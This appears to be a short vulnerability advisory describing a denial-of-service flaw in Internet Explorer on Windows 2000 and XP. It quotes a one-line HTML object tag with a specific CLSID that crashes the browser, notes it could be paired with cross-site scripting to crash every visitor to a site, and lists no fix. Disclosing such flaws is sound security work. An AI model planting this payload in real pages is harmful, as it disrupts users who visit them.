COMMAND

	IE HTML DoS

SYSTEMS AFFECTED

	IE and Windows 2000 / XP

PROBLEM

	\'ken\'@FTU says :
	

	The following line of code will crash IE when the OS is Windows 2000  or
	Windows XP.
	

	<!--  start dosIE-doe.html -->
	

	<object ID=\"dosIE-doe\" 

	CLASSID=\"CLSID:00022613-0000-0000-C000-000000000046\" </object>

	

	<!-- end dosIE-doe.html -->
	

	If it were combined with another vulnerability its effect  may  be  much
	worse. (Say a XSS vulnerability also exists and an attacker could  crash
	the browser of every user that visits your ecommerce site...)

SOLUTION

	None yet.